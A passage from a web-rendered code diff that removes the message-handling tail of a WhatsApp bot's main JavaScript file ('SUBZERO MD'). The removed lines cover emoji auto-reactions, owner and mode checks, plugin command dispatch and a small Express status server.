559 |
-
if (!isReact && senderNumber !== botNumber) {
|
560 |
-
if (config.CUSTOM_REACT === 'true') {
|
561 |
-
// Use custom emojis from the configuration
|
562 |
-
const reactions = (config.CUSTOM_REACT_EMOJIS || '🎐,🎊,🎉,❄️,🌟').split(',');
|
563 |
-
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)];
|
564 |
-
m.react(randomReaction);
|
565 |
-
}
|
566 |
-
}
|
567 |
-
|
568 |
-
if (!isReact && senderNumber === botNumber) {
|
569 |
-
if (config.CUSTOM_REACT === 'true') {
|
570 |
-
// Use custom emojis from the configuration
|
571 |
-
const reactions = (config.CUSTOM_REACT_EMOJIS || '🎐,🎊,🎉,❄️,🌟').split(',');
|
572 |
-
const randomReaction = reactions[Math.floor(Math.random() * reactions.length)];
|
573 |
-
m.react(randomReaction);
|
574 |
-
}
|
575 |
-
}
|
576 |
-
//==========WORKTYPE============
|
577 |
-
if(!isOwner && config.MODE === "private") return
|
578 |
-
if(!isOwner && isGroup && config.MODE === "inbox") return
|
579 |
-
if(!isOwner && !isGroup && config.MODE === "groups") return
|
580 |
-
|
581 |
-
// take commands
|
582 |
-
|
583 |
-
const events = require('./command')
|
584 |
-
const cmdName = isCmd ? body.slice(1).trim().split(" ")[0].toLowerCase() : false;
|
585 |
-
if (isCmd) {
|
586 |
-
const cmd = events.commands.find((cmd) => cmd.pattern === (cmdName)) || events.commands.find((cmd) => cmd.alias && cmd.alias.includes(cmdName))
|
587 |
-
if (cmd) {
|
588 |
-
if (cmd.react) conn.sendMessage(from, { react: { text: cmd.react, key: mek.key }})
|
589 |
-
|
590 |
-
try {
|
591 |
-
cmd.function(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply});
|
592 |
-
} catch (e) {
|
593 |
-
console.error("[PLUGIN ERROR] " + e);
|
594 |
-
}
|
595 |
-
}
|
596 |
-
}
|
597 |
-
events.commands.map(async(command) => {
|
598 |
-
if (body && command.on === "body") {
|
599 |
-
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
|
600 |
-
} else if (mek.q && command.on === "text") {
|
601 |
-
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
|
602 |
-
} else if (
|
603 |
-
(command.on === "image" || command.on === "photo") &&
|
604 |
-
mek.type === "imageMessage"
|
605 |
-
) {
|
606 |
-
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
|
607 |
-
} else if (
|
608 |
-
command.on === "sticker" &&
|
609 |
-
mek.type === "stickerMessage"
|
610 |
-
) {
|
611 |
-
command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply})
|
612 |
-
}});
|
613 |
-
|
614 |
-
})
|
615 |
-
}
|
616 |
-
|
617 |
-
app.get("/", (req, res) => {
|
618 |
-
res.send("[ 🤖 ] SUBZERO MD BOT ONLINE ✅");
|
619 |
-
});
|
620 |
-
app.listen(port, () => console.log(`Server listening on port http://localhost:${port}`));
|
621 |
-
setTimeout(() => {
|
622 |
-
connectToWA()
|
623 |
-
}, 4000);
|
624 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|